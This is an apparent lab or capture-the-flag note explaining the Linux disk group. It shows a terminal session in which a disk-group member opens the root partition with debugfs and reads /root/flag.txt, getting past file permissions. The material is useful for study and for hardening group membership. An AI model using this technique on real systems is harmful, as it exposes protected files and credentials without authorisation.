Disk

The disk group in Linux is a privileged system group intended to grant access to raw disk devices, like /dev/sda, /dev/sdb, etc. It allows users to perform low-level operations on storage devices, such as partitioning, formatting, mounting/unmounting, etc.

Membership in the disk group is highly sensitive — users with this access can read or modify any data on the system, bypassing file permissions entirely.

# Confirm group membership
ian@DANTE-NIX07:~$ id
uid=1001(ian) gid=1001(ian) groups=1001(ian),6(disk)

# Identify the root fine system (/)
ian@DANTE-NIX07:~$ df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/sda5        14G  7.9G  5.2G  61% /

# Open the block service
ian@DANTE-NIX07:~$ debugfs /dev/sda5
debugfs 1.45.5 (07-Jan-2020)
No entry for terminal type "xtrem";
using dumb terminal settings.

# Failed attempt to create a directory
debugfs:  mkdir test
mkdir: Filesystem opened read/only

# Read a root file 
debugfs:  cat /root/flag.txt